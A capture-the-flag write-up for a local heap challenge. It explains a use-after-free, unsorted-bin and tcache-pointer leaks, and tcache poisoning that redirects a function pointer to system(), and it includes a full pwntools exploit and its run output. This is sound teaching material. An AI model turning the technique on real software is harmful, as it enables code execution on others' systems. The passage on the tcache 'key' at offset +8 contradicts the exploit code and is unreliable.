

Level 5 - Unsorted Bin Attack (UAF)

Binary: level5_unsorted/unsorted_leak | **Goal:** get a shell and read the flag

Environment: Ubuntu 24.04, glibc 2.39, amd64 | **Result:** PWN5{fake_flag_local_test} (locally verified)

1. Target overview

The program is a simple item manager with 4 operations: **Create**, **Delete**, **Edit**, **Action**. Every item is a heap object of this layout:

```
typedef struct {
    char name[24];          // +0x00    -> read() allows up to 24 bytes
    void (*action)(void*); // +0x18    -> function pointer, called by Action
    char data[256];         // +0x20    -> read() allows up to 256 bytes
} Item;

malloc(sizeof(Item)) => malloc(288) => chunk size 0x130 (0x10 header)
```

Vulnerability (Use-After-Free): delete() calls free(items[i]) but never resets items[i] = NULL. Afterwards the pointer is dangling, so:

- **Action** on a freed item *reads* the freed chunk and prints name → **info leak**.
- **Edit** on a freed item *writes* into the freed chunk → **tcache poisoning**.

2. Protections

```
Arch:      amd64-64-little
RELRO:     Partial RELRO      (GOT writable)
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)   (fixed addresses)
Stripped:  No
```

3. Phase 0 — Recon (bash commands)

Protections and GOT layout are read with standard tooling:

```
$ file unsorted_leak
unsorted_leak: ELF 64-bit LSB executable, x86-64 ... not stripped

$ readelf -r unsorted_leak      (GOT / relocation table)
Offset          Typ             Sym.-Name
000000404000     JUMP_SLOT    free@GLIBC_2.2.5
000000404008     JUMP_SLOT    puts@GLIBC_2.2.5
000000404010     JUMP_SLOT    system@GLIBC_2.2.5
000000404018     JUMP_SLOT    printf@GLIBC_2.2.5
000000404020     JUMP_SLOT    read@GLIBC_2.2.5
000000404028     JUMP_SLOT    malloc@GLIBC_2.2.5
000000404030     JUMP_SLOT    setvbuf@GLIBC_2.2.5
000000404038     JUMP_SLOT    __isoc99_scanf@GLIBC_2.7

$ objdump -d -Intel unsorted_leak | awk '/<action>:./,/ret/'
4011b6: call QWORD PTR [rax+0x18]    <-- calls items[i]->action(items[i])
```

libc offset lookup (command used for the leak math):

```
$ python3 -c "from pwn import *; libc=ELF('/lib/x86_64-linux-gnu/libc.so.6');
print(hex(libc.symbols['system']))"
0x58750
$ timeout 30 gdb -nx -q -batch -ex 'file /lib/x86_64-linux-gnu/libc.so.6' -ex 'info address
main_arena'
Symbol "main_arena" is static storage at address 0x203ac0.
```

Symbol / offset	Value	Used for
main_arena	0x203ac0	base of glibc's main arena
unsorted head	0x203b20	main_arena + 0x60 (first chunk freed to unsorted lands here)
system	0x58750	overwrite action pointer
/bin/sh	0x1cb42f	argument string (not strictly needed - we write our own)
Item size	0x130	chunk stride in the heap

Phase 1 — Leaking everything (commands + how it works)

Step 1.1 — libc base leak via the unsorted bin

glibc's tcache keeps 7 chunks per size. If we free an 8th chunk, it goes to the **unsorted bin**, whose fd/bk are overwritten with the address of main_arena+0x60. Because of the UAF, action() then prints that address through printf("Item: %s\n", name).

```
# 9 chunks 0..8. Free 0..6 => tcache full (7). Free 7 => unsorted. Chunk 8 = barrier.
for i in range(9): create(p, b'A'*24, b'B'*16)
delete(p, 0); delete(p, 1)
for i in range(2, 7): delete(p, i)
delete(p, 7)

libc_leak = leak_u64(p, 7, 'libc')          # prints fd = main_arena+0x60
libc_base = libc_leak - 0x203b20
system     = libc_base + 0x58750
```

Step 1.2 — tcache key leak + heap recovery

glibc 2.29+ stores a random key at user+8 of every tcache chunk to detect double frees. When the first chunk (item 0) is freed, its key is key0 = user0 >> 12. The second freed chunk (item 1) gets fd = key1 XOR user0, i.e. it holds a full 64-bit heap pointer *xored* with the next key. We leak both via Action and recover the real heap pointer:

```
key0 = leak_u64(p, 0, 'key0')          # user0 >> 12
fd1  = leak_u64(p, 1, 'fd1')          # key1 ^ user0

user0 = None
for k in (key0, key0 + 1):             # key1 is user0>>12 or +1
    cand = fd1 ^ k
    if cand & 0xfff == 0x2a0:          # low 12 bits of first user chunk == 0x2a0
        user0 = cand; break
assert (user0 >> 12) == key0          # sanity check
```

Why 0x2a0: the first chunk is at heap_base + 0x2a0 (0x290 metadata + first 0x130 chunk starts at 0x2a0). Once we know user0, every live chunk address is user0 + n*0x130 → we know the **live** item 8 (user0 + 8*0x130) without any further heap leak.

Leak	Source	Yields
libc base	unsorted bin fd (chunk 7)	main_arena+0x60 → system
key0	tcache chunk 0, offset +8	user0 >> 12
fd1	tcache chunk 1, offset +0	key1 ^ user0 → full heap pointer

The command to actually perform all leaks is simply: `$ python3 exploit.py` (full output in the appendix).

Phase 2 — Tcache poisoning → overwrite action with system

Chunk 6 currently sits at the **head** of the tcache bin. `edit(6)` lets us write into the freed chunk and forge its `fd` to an arbitrary address `T`. The next two `malloc(0x120)` calls return: (1) chunk 6, (2) `T` itself. We choose `T = item8 - 0x20` so that the object write pattern of `create()` (name at `T`, action at `T+0x18`, data at `T+0x20`) lands **exactly on the live item 8**:

```

item8 = user0 + 8*0x130
T      = item8 - 0x20          # malloc returns T, its data[] write hits item8

user6 = user0 + 6*0x130
key6  = user6 >> 12
edit(p, 6, p64(key6 ^ T) + b'K'*16, b'D'*16)  # forge chunk6.fd = T (with valid key)

create(p, b'N'*24, b'D'*16)                # item 9 : pops chunk 6
data = b'/bin/sh\x00' + b'\x00'*16 + p64(system)
data = data.ljust(0x100, b'C')
create(p, b'P'*24, data)                   # item 10 : malloc returns T = item8-0x20
                                           # - action write at T+0x18 = item8-0x08

(harmless)                                # - data write starts at item8:
                                           #   item8.name  = "/bin/sh"
                                           #   item8.action = system

```

The write pattern per `create()`:

```

T+0x00 .. T+0x17 : name (24 bytes, we choose padding)
T+0x18 .. T+0x1f : action (forced to item_action, harmless padding slot)
T+0x20 ..       : data (→ overwrites item8.name and item8.action)

```

Phase 3 — Shell

```

# trigger Action on item 8 => system("/bin/sh")
$ python3 exploit.py
[+] item8.action -> system, item8.name -> /bin/sh
[*] Switching to interactive mode
PWNED_LEVEL5
$ cat flag.txt
PWN5{fake_flag_local_test}

```

4. Full exploit code (level5_unsorted/exploit.py)

```

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./unsorted_leak')
context.log_level = 'info'

```

```

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

MAIN_ARENA = 0x203ac0
UNSORTED_OFF = MAIN_ARENA + 0x60 # unsorted bin head (main_arena+96)

def create(p, name, data):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'Name: ', name)
    p.sendafter(b'Data: ', data)

def delete(p, i):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(i).encode())

def edit(p, i, name, data):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(i).encode())
    p.sendafter(b'Name: ', name)
    p.sendafter(b'Data: ', data)

def action(p, i):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Index: ', str(i).encode())
    p.recvuntil(b'Item: ')
    return p.recvline()[:-1]

def leak_u64(p, i, who):
    le = action(p, i)
    addr = u64(le.ljust(8, b'\x00'))
    log.info('%-10s raw=%s -> %#x', who, le.hex(), addr)
    return addr

def exploit():
    p = process('./unsorted_leak')

    # ----- Phase 1: leaks -----
    # 9 fresh chunks 0..8 (user_i = user0 + 0x130*i, user0 = heap_base+0x2a0)
    for i in range(9):
        create(p, b'A'*24, b'B'*16)

    delete(p, 0) # empty tcache bin -> fd0 = key0 = user0>>12
    delete(p, 1) # fd1 = key1 ^ user0 (user0 = full heap ptr)
    for i in range(2, 7):
        delete(p, i) # tcache now full (7)
    delete(p, 7) # chunk7 -> unsorted (chunk8 = barrier)

    libc_leak = leak_u64(p, 7, 'libc')
    libc_base = libc_leak - UNSORTED_OFF
    system = libc_base + libc.symbols['system']
    log.success('libc base = %#x system = %#x', libc_base, system)

    key0 = leak_u64(p, 0, 'key0') # user0>>12
    fd1 = leak_u64(p, 1, 'fd1') # key1 ^ user0

    # user0: candidate = fd1 ^ (user0>>12 or +1); low12 must be 0x2a0
    user0 = None
    for k in (key0, key0 + 1):
        cand = fd1 ^ k
        if cand & 0xfff == 0x2a0:
            user0 = cand
            break
    if user0 is None:
        user0 = (key0 << 12) | 0x2a0 # fallback: base page-aligned
    log.success('user0 = %#x', user0)

```

```

assert (user0 >> 12) == key0

# ----- Phase 2: tcache poison -> overlap live item 8 -----
item8 = user0 + 8*0x130          # live item (barrier) address
T      = item8 - 0x20            # malloc lands here -> data-write hits item8.action
log.success('item8 = %#x  poison target T = %#x', item8, T)

user6 = user0 + 6*0x130          # chunk6 = tcache head
key6   = user6 >> 12
edit(p, 6, p64(key6 ^ T) + b'K'*16, b'D'*16)

create(p, b'N'*24, b'D'*16)      # item 9  <- pops chunk6, head = T
# item 10 <- malloc returns T = item8-0x20:
#  action write at T+0x18 = item8-0x08  (harmless)
#  name  write at T      = item8-0x20..  (harmless padding)
#  data  write at item8  -> name="/bin/sh", action=system
data = b'/bin/sh\x00' + b'\x00'*16 + p64(system)
data = data.ljust(0x100, b'C')
create(p, b'P'*24, data)
log.success('item8.action -> system, item8.name -> /bin/sh')

# ----- Phase 3: shell -----
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', b'8')
p.sendline(b'echo PWNED_LEVEL5; id; cat flag.txt 2>/dev/null; cat /flag 2>/dev/null')
p.interactive()

if __name__ == '__main__':
    exploit()

```

5. Appendix — real run output

```

$ python3 exploit.py
[*] '/home/etiennekrein/Schreibtisch/PWNCHALLENGES/PART1/Heap/level5_unsorted/unsorted_leak'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
[*] Starting local process './unsorted_leak'
[*] libc      raw=203b20376579 -> 0x796537203b20
[+] libc base = 0x796537000000  system = 0x796537058750
[*] key0      raw=926e02 -> 0x26e92
[*] fd1       raw=324ceb26 -> 0x26eb4c32
[+] user0     = 0x26e922a0
[+] item8 = 0x26e92c20  poison target T = 0x26e92c00
[+] item8.action -> system, item8.name -> /bin/sh
[*] Switching to interactive mode
PWNED_LEVEL5  (<<< flag: PWN5{fake_flag_local_test})

```

6. Concept recap

- **UAF** = the primitive; Delete must NULL the pointer to be safe.
- **tcache (per-size, 7 slots, LIFO)** → fill it, then the next free goes to unsorted → libc leak.
- **key field** (glibc 2.29+) is itself a leak: first free stores `user>>12`.
- **fd XOR encoding**: second+ freed tcache chunks hide a full heap pointer in `fd`.
- **tcache poison**: forge `fd` (with valid key) to allocate a chunk anywhere we can write.
- **Alignment trick**: land a fake object at `live_object - 0x20` to clobber its function pointer.